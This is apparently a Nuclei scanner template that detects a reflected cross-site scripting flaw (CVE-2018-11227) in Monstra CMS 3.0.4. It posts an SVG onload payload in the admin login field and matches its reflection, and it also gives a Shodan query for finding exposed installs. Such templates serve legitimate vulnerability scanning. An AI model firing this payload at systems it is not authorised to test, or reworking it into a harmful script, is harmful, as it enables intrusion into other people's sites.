id: CVE-2018-11227

info:
  name: Monstra CMS V3.0.4 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Monstra CMS 3.0.4 and earlier has XSS via index.php.
  reference:
    - https://github.com/monstra-cms/monstra/issues/438
    - https://nvd.nist.gov/vuln/detail/CVE-2018-11227
    - https://www.exploit-db.com/exploits/44646
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-11227
    cwe-id: CWE-79
  metadata:
    shodan-query: http.favicon.hash:419828698
    verified: "true"
  tags: cve,cve2018,xss,mostra,mostracms,cms,edb

requests:
  - raw:
      - |
        POST /admin/index.php?id=pages HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        login="><svg/onload=alert(document.domain)>&password=xxxxxx&login_submit=Log+In

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "><svg/onload=alert(document.domain)>"
          - "Monstra"
        condition: and
        case-insensitive: true

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200